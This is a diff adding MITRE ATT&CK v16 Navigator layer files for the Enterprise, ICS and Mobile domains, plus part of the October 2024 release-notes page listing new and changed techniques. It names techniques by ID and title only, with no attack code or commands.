{ + "techniqueID": "T1025", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1610", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1610", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1587", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1588.004", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1562.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1561.002", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1087.002", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1589.003", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1027.013", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1203", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1070.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1187", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1589", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1484.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1484.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1027.006", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1558.003", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.006", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.006", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1555.001", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1608.005", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.003", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.003", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.003", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1074.001", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1583.008", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1036", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1036.005", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1578", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1111", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1564.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1106", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1584.008", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1040", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1040", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1571", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1003", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1588", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1550.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1550.003", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.008", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.008", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.008", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1598", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.010", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.010", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1653", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1059.001", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1003.007", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.012", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.012", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1572", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.001", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1074.002", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1036.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1593.002", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1593", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1003.002", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1555.002", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1569.002", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1489", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.011", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.011", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.011", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.009", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.009", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1598.002", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1566.001", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1598.003", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1566.003", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1562.011", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1565.001", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1195", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1216.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1497.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1497.001", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1082", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053.006", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053.006", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1053.006", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1505.005", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1497.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1497.003", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1588.002", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1565.002", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1059.004", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.004", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.004", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1608.001", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1497.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1497.002", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1021.005", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1583.003", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1497", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1497", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1059.005", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1595.002", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1056.003", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1056.003", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1584.006", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1059.003", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1555.004", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1047", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1021.006", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1559.003", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1220", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + } + ], + "sorting": 0, + "hideDisabled": false, + "legendItems": [ + { + "color": "#a1d99b", + "label": "additions: ATT&CK objects which are only present in the new release." + }, + { + "color": "#fcf3a2", + "label": "major_version_changes: ATT&CK objects that have a major version change. (e.g. 1.0 \u2192 2.0)" + }, + { + "color": "#c7c4e0", + "label": "minor_version_changes: ATT&CK objects that have a minor version change. (e.g. 1.0 \u2192 1.1)" + }, + { + "color": "#B5E5CF", + "label": "other_version_changes: ATT&CK objects that have a version change of any other kind. (e.g. 1.0 \u2192 1.2)" + }, + { + "color": "#B99095", + "label": "patches: ATT&CK objects that have been patched while keeping the version the same. (e.g., 1.0 \u2192 1.0 but something like a typo, a URL, or some metadata was fixed)" + }, + { + "color": "#ff9000", + "label": "revocations: ATT&CK objects which are revoked by a different object." + }, + { + "color": "#ff6363", + "label": "deprecations: ATT&CK objects which are deprecated and no longer in use, and not replaced." + }, + { + "color": "#ff00e1", + "label": "deletions: ATT&CK objects which are no longer found in the STIX data." + }, + { + "color": "#ffffff", + "label": "unchanged: ATT&CK objects which did not change between the two versions." + } + ], + "showTacticRowBackground": true, + "tacticRowBackground": "#205b8f", + "selectTechniquesAcrossTactics": true +} \ No newline at end of file diff --git a/modules/resources/docs/changelogs/v15.1-v16.0/layer-ics.json b/modules/resources/docs/changelogs/v15.1-v16.0/layer-ics.json new file mode 100644 index 00000000000..5f5bb7c1e46 --- /dev/null +++ b/modules/resources/docs/changelogs/v15.1-v16.0/layer-ics.json @@ -0,0 +1,62 @@ +{ + "versions": { + "layer": "4.5", + "navigator": "5.0.0", + "attack": "16.0" + }, + "name": "October 2024 ICS Updates", + "description": "ICS updates for the October 2024 release of ATT&CK", + "domain": "ics-attack", + "techniques": [ + { + "techniqueID": "T0814", + "tactic": "inhibit-response-function", + "enabled": true, + "color": "#B99095", + "comment": "patche" + } + ], + "sorting": 0, + "hideDisabled": false, + "legendItems": [ + { + "color": "#a1d99b", + "label": "additions: ATT&CK objects which are only present in the new release." + }, + { + "color": "#fcf3a2", + "label": "major_version_changes: ATT&CK objects that have a major version change. (e.g. 1.0 \u2192 2.0)" + }, + { + "color": "#c7c4e0", + "label": "minor_version_changes: ATT&CK objects that have a minor version change. (e.g. 1.0 \u2192 1.1)" + }, + { + "color": "#B5E5CF", + "label": "other_version_changes: ATT&CK objects that have a version change of any other kind. (e.g. 1.0 \u2192 1.2)" + }, + { + "color": "#B99095", + "label": "patches: ATT&CK objects that have been patched while keeping the version the same. (e.g., 1.0 \u2192 1.0 but something like a typo, a URL, or some metadata was fixed)" + }, + { + "color": "#ff9000", + "label": "revocations: ATT&CK objects which are revoked by a different object." + }, + { + "color": "#ff6363", + "label": "deprecations: ATT&CK objects which are deprecated and no longer in use, and not replaced." + }, + { + "color": "#ff00e1", + "label": "deletions: ATT&CK objects which are no longer found in the STIX data." + }, + { + "color": "#ffffff", + "label": "unchanged: ATT&CK objects which did not change between the two versions." + } + ], + "showTacticRowBackground": true, + "tacticRowBackground": "#205b8f", + "selectTechniquesAcrossTactics": true +} \ No newline at end of file diff --git a/modules/resources/docs/changelogs/v15.1-v16.0/layer-mobile.json b/modules/resources/docs/changelogs/v15.1-v16.0/layer-mobile.json new file mode 100644 index 00000000000..65ece4fb0a6 --- /dev/null +++ b/modules/resources/docs/changelogs/v15.1-v16.0/layer-mobile.json @@ -0,0 +1,90 @@ +{ + "versions": { + "layer": "4.5", + "navigator": "5.0.0", + "attack": "16.0" + }, + "name": "October 2024 Mobile Updates", + "description": "Mobile updates for the October 2024 release of ATT&CK", + "domain": "mobile-attack", + "techniques": [ + { + "techniqueID": "T1414", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1414", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1417.002", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1417.002", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1628.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + } + ], + "sorting": 0, + "hideDisabled": false, + "legendItems": [ + { + "color": "#a1d99b", + "label": "additions: ATT&CK objects which are only present in the new release." + }, + { + "color": "#fcf3a2", + "label": "major_version_changes: ATT&CK objects that have a major version change. (e.g. 1.0 \u2192 2.0)" + }, + { + "color": "#c7c4e0", + "label": "minor_version_changes: ATT&CK objects that have a minor version change. (e.g. 1.0 \u2192 1.1)" + }, + { + "color": "#B5E5CF", + "label": "other_version_changes: ATT&CK objects that have a version change of any other kind. (e.g. 1.0 \u2192 1.2)" + }, + { + "color": "#B99095", + "label": "patches: ATT&CK objects that have been patched while keeping the version the same. (e.g., 1.0 \u2192 1.0 but something like a typo, a URL, or some metadata was fixed)" + }, + { + "color": "#ff9000", + "label": "revocations: ATT&CK objects which are revoked by a different object." + }, + { + "color": "#ff6363", + "label": "deprecations: ATT&CK objects which are deprecated and no longer in use, and not replaced." + }, + { + "color": "#ff00e1", + "label": "deletions: ATT&CK objects which are no longer found in the STIX data." + }, + { + "color": "#ffffff", + "label": "unchanged: ATT&CK objects which did not change between the two versions." + } + ], + "showTacticRowBackground": true, + "tacticRowBackground": "#205b8f", + "selectTechniquesAcrossTactics": true +} \ No newline at end of file diff --git a/modules/resources/static_pages/updates-october-2024.md b/modules/resources/static_pages/updates-october-2024.md new file mode 100644 index 00000000000..42f8e1f3548 --- /dev/null +++ b/modules/resources/static_pages/updates-october-2024.md @@ -0,0 +1,700 @@ +Title: Updates - October 2024 +Date: October 2024 +Category: Cyber Threat Intelligence +Authors: Adam Pennington +Template: resources/update-post +url: /resources/updates/updates-october-2024 +save_as: resources/updates/updates-october-2024/index.html + +| Version | Start Date | End Date | Data | Changelogs | +|:--------|:-----------|:---------|:-----|:-----------| +| [ATT&CK v16](/versions/v16) | October 31, 2024 | Current version of ATT&CK | [v16.0 on MITRE/CTI](https://github.com/mitre/cti/releases/tag/ATT%26CK-v16.0) | 15.1 - 16.0 [Details](/docs/changelogs/v15.1-v16.0/changelog-detailed.html) ([JSON](/docs/changelogs/v15.1-v16.0/changelog.json)) | + +The October 2024 (v16) ATT&CK release updates Techniques, Groups, Campaigns and Software for Enterprise. + +The biggest changes in ATT&CK v16 are a refactoring of Cloud platforms to better reflect real-world adversary activity along with improvements to platform descriptions, a dramatic expansion in the number of techniques with detection notes and analytics, and continued improvements to coverage of criminal threat actors. As a result of Cloud platform refactoring, the Azure AD, Office 365, and Google Workspace platforms have been removed from Enterprise ATT&CK and the [Identity Provider](/matrices/enterprise/cloud/identityprovider/) and [Office Suite](/matrices/enterprise/cloud/officesuite/) platforms have been added in their place. An [accompanying blog post](https://medium.com/mitre-attack/attack-v16-561c76af94cf) describes these changes as well as additional improvements across Enterprise ATT&CK's various platforms. + +This release also includes a [human-readable detailed changelog](/docs/changelogs/v15.1-v16.0/changelog-detailed.html) showing more specifically what changed in updated ATT&CK objects, and a [machine-readable JSON changelog](/docs/changelogs/v15.1-v16.0/changelog.json), whose format is described in [ATT&CK's Github](https://github.com/mitre-attack/mitreattack-python/blob/master/mitreattack/diffStix/README.md). + +This version of ATT&CK contains 844 Pieces of Software, 186 Groups, and 42 Campaigns +Broken out by domain: + +* Enterprise: 14 Tactics, 203 Techniques, 453 Sub-Techniques, 159 Groups, 710 Pieces of Software, 34 Campaigns, 44 Mitigations, and 37 Data Sources +* Mobile: 12 Tactics, 73 Techniques, 46 Sub-Techniques, 13 Groups, 112 Pieces of Software, 2 Campaigns, 13 Mitigations, and 6 Data Sources +* ICS: 12 Tactics, 83 Techniques, 0 Sub-Techniques, 14 Groups, 22 Pieces of Software, 6 Campaigns, 52 Mitigations, 14 Assets, and 17 Data Sources + + + +## Release Notes Terminology + +* New: ATT&CK objects which are only present in the new release. +* Major version changes: ATT&CK objects that have a major version change. (e.g. 1.0 → 2.0) +* Minor version changes: ATT&CK objects that have a minor version change. (e.g. 1.0 → 1.1) +* Other version changes: ATT&CK objects that have a version change of any other kind. (e.g. 1.0 → 1.2) +* Patches: ATT&CK objects that have been patched while keeping the version the same. (e.g., 1.0 → 1.0 but something immaterial like a typo, a URL, or some metadata was fixed) +* Revocations: ATT&CK objects which are revoked by a different object. +* Deprecations: ATT&CK objects which are deprecated and no longer in use, and not replaced. +* Deletions: ATT&CK objects which are no longer found in the STIX data. + + +## Techniques + +### Enterprise + +#### New Techniques + +* Account Manipulation: [Additional Local or Domain Groups](/techniques/T1098/007) (v1.0) +* Adversary-in-the-Middle: [Evil Twin](/techniques/T1557/004) (v1.0) +* Application Layer Protocol: [Publish/Subscribe Protocols](/techniques/T1071/005) (v1.0) +* Command and Scripting Interpreter: [Lua](/techniques/T1059/011) (v1.0) +* Data Destruction: [Lifecycle-Triggered Deletion](/techniques/T1485/001) (v1.0) +* Data from Information Repositories: [Customer Relationship Management Software](/techniques/T1213/004) (v1.0) +* Data from Information Repositories: [Messaging Applications](/techniques/T1213/005) (v1.0) +* Event Triggered Execution: [Udev Rules](/techniques/T1546/017) (v1.0) +* Execution Guardrails: [Mutual Exclusion](/techniques/T1480/002) (v1.0) +* Indicator Removal: [Relocate Malware](/techniques/T1070/010) (v1.0) +* Masquerading: [Masquerade Account Name](/techniques/T1036/010) (v1.0) +* [Modify Cloud Resource Hierarchy](/techniques/T1666) (v1.0) +* Obfuscated Files or Information: [Polymorphic Code](/techniques/T1027/014) (v1.0) +* Resource Hijacking: [Bandwidth Hijacking](/techniques/T1496/002) (v1.0) +* Resource Hijacking: [Cloud Service Hijacking](/techniques/T1496/004) (v1.0) +* Resource Hijacking: [Compute Hijacking](/techniques/T1496/001) (v1.0) +* Resource Hijacking: [SMS Pumping](/techniques/T1496/003) (v1.0) +* Steal or Forge Kerberos Tickets: [Ccache Files](/techniques/T1558/005) (v1.0) +* Trusted Developer Utilities Proxy Execution: [ClickOnce](/techniques/T1127/002) (v1.0) + +#### Major Version Changes + +* Data Obfuscation: [Protocol or Service Impersonation](/techniques/T1001/003) (v1.0→v2.0) +* Modify Cloud Compute Infrastructure: [Modify Cloud Compute Configurations](/techniques/T1578/005) (v1.0→v2.0) +* Obfuscated Files or Information: [Fileless Storage](/techniques/T1027/011) (v1.0→v2.0) +* [Resource Hijacking](/techniques/T1496) (v1.5→v2.0) + +#### Minor Version Changes + +* [Abuse Elevation Control Mechanism](/techniques/T1548) (v1.3→v1.4) + * [TCC Manipulation](/techniques/T1548/006) (v1.0→v1.1) + * [Temporary Elevated Cloud Access](/techniques/T1548/005) (v1.1→v1.2) +* [Account Access Removal](/techniques/T1531) (v1.2→v1.3) +* [Account Discovery](/techniques/T1087) (v2.4→v2.5) + * [Cloud Account](/techniques/T1087/004) (v1.2→v1.3) + * [Email Account](/techniques/T1087/003) (v1.1→v1.2) +* [Account Manipulation](/techniques/T1098) (v2.6→v2.7) + * [Additional Cloud Credentials](/techniques/T1098/001) (v2.7→v2.8) + * [Additional Cloud Roles](/techniques/T1098/003) (v2.4→v2.5) + * [Additional Email Delegate Permissions](/techniques/T1098/002) (v2.1→v2.2) + * [Device Registration](/techniques/T1098/005) (v1.2→v1.3) +* Acquire Infrastructure: [Domains](/techniques/T1583/001) (v1.3→v1.4) +* Acquire Infrastructure: [Serverless](/techniques/T1583/007) (v1.0→v1.1) +* Active Scanning: [Scanning IP Blocks](/techniques/T1595/001) (v1.0→v1.1) +* [Application Layer Protocol](/techniques/T1071) (v2.2→v2.3) +* [Automated Collection](/techniques/T1119) (v1.2→v1.3) +* Automated Exfiltration: [Traffic Duplication](/techniques/T1020/001) (v1.2→v1.3) +* [Brute Force](/techniques/T1110) (v2.5→v2.6) + * [Credential Stuffing](/techniques/T1110/004) (v1.5→v1.6) + * [Password Cracking](/techniques/T1110/002) (v1.2→v1.3) + * [Password Guessing](/techniques/T1110/001) (v1.5→v1.6) + * [Password Spraying](/techniques/T1110/003) (v1.5→v1.6) +* [Cloud Service Dashboard](/techniques/T1538) (v1.3→v1.4) +* [Cloud Service Discovery](/techniques/T1526) (v1.3→v1.4) +* [Command and Scripting Interpreter](/techniques/T1059) (v2.4→v2.5) + * [Cloud API](/techniques/T1059/009) (v1.0→v1.1) + * [JavaScript](/techniques/T1059/007) (v2.1→v2.2) +* Compromise Accounts: [Cloud Accounts](/techniques/T1586/003) (v1.0→v1.1) +* [Compromise Host Software Binary](/techniques/T1554) (v2.0→v2.1) +* Compromise Infrastructure: [Domains](/techniques/T1584/001) (v1.3→v1.4) +* Compromise Infrastructure: [Serverless](/techniques/T1584/007) (v1.0→v1.1) +* [Create Account](/techniques/T1136) (v2.4→v2.5) + * [Cloud Account](/techniques/T1136/003) (v1.5→v1.6) +* Credentials from Password Stores: [Credentials from Web Browsers](/techniques/T1555/003) (v1.1→v1.2) +* Credentials from Password Stores: [Password Managers](/techniques/T1555/005) (v1.0→v1.1) +* [Data Destruction](/techniques/T1485) (v1.2→v1.3) +* Data Manipulation: [Runtime Data Manipulation](/techniques/T1565/003) (v1.1→v1.2) +* [Data from Cloud Storage](/techniques/T1530) (v2.1→v2.2) +* [Data from Information Repositories](/techniques/T1213) (v3.3→v3.4) + * [Code Repositories](/techniques/T1213/003) (v1.1→v1.2) + * [Confluence](/techniques/T1213/001) (v1.0→v1.1) + * [Sharepoint](/techniques/T1213/002) (v1.0→v1.1) +* [Domain or Tenant Policy Modification](/techniques/T1484) (v3.0→v3.1) + * [Trust Modification](/techniques/T1484/002) (v2.0→v2.1) +* [Drive-by Compromise](/techniques/T1189) (v1.5→v1.6) +* Dynamic Resolution: [Domain Generation Algorithms](/techniques/T1568/002) (v1.0→v1.1) +* [Email Collection](/techniques/T1114) (v2.5→v2.6) + * [Email Forwarding Rule](/techniques/T1114/003) (v1.3→v1.4) + * [Remote Email Collection](/techniques/T1114/002) (v1.2→v1.3) +* [Endpoint Denial of Service](/techniques/T1499) (v1.1→v1.2) + * [Application Exhaustion Flood](/techniques/T1499/003) (v1.2→v1.3) + * [Application or System Exploitation](/techniques/T1499/004) (v1.2→v1.3) + * [Service Exhaustion Flood](/techniques/T1499/002) (v1.3→v1.4) +* [Event Triggered Execution](/techniques/T1546) (v1.3→v1.4) +* [Execution Guardrails](/techniques/T1480) (v1.1→v1.2) +* [Exfiltration Over Alternative Protocol](/techniques/T1048) (v1.4→v1.5) +* [Exfiltration Over Web Service](/techniques/T1567) (v1.3→v1.4) + * [Exfiltration Over Webhook](/techniques/T1567/004) (v1.0→v1.1) +* [Exploit Public-Facing Application](/techniques/T1190) (v2.5→v2.6) +* [Exploitation for Credential Access](/techniques/T1212) (v1.5→v1.6) +* [Financial Theft](/techniques/T1657) (v1.1→v1.2) +* [Forge Web Credentials](/techniques/T1606) (v1.4→v1.5) + * [SAML Tokens](/techniques/T1606/002) (v1.3→v1.4) +* [Gather Victim Host Information](/techniques/T1592) (v1.1→v1.2) +* Gather Victim Identity Information: [Credentials](/techniques/T1589/001) (v1.1→v1.2) +* Gather Victim Network Information: [DNS](/techniques/T1590/002) (v1.1→v1.2) +* [Hide Artifacts](/techniques/T1564) (v1.2→v1.3) + * [Email Hiding Rules](/techniques/T1564/008) (v1.3→v1.4) +* Hijack Execution Flow: [DLL Search Order Hijacking](/techniques/T1574/001) (v1.2→v1.3) +* [Impair Defenses](/techniques/T1562) (v1.5→v1.6) + * [Disable or Modify Cloud Firewall](/techniques/T1562/007) (v1.2→v1.3) + * [Disable or Modify Cloud Logs](/techniques/T1562/008) (v2.0→v2.1) +* [Impersonation](/techniques/T1656) (v1.0→v1.1) +* [Indicator Removal](/techniques/T1070) (v2.1→v2.2) + * [Clear Mailbox Data](/techniques/T1070/008) (v1.1→v1.2) + * [Timestomp](/techniques/T1070/006) (v1.0→v1.1) +* [Indirect Command Execution](/techniques/T1202) (v1.1→v1.2) +* [Inhibit System Recovery](/techniques/T1490) (v1.4→v1.5) +* [Input Capture](/techniques/T1056) (v1.2→v1.3) + * [Credential API Hooking](/techniques/T1056/004) (v1.0→v1.1) +* [Inter-Process Communication](/techniques/T1559) (v1.2→v1.3) +* [Internal Spearphishing](/techniques/T1534) (v1.3→v1.4) +* [Log Enumeration](/techniques/T1654) (v1.0→v1.1) +* [Modify Authentication Process](/techniques/T1556) (v2.4→v2.5) + * [Conditional Access Policies](/techniques/T1556/009) (v1.0→v1.1) + * [Domain Controller Authentication](/techniques/T1556/001) (v2.0→v2.1) + * [Hybrid Identity](/techniques/T1556/007) (v1.0→v1.1) + * [Multi-Factor Authentication](/techniques/T1556/006) (v1.2→v1.3) + * [Password Filter DLL](/techniques/T1556/002) 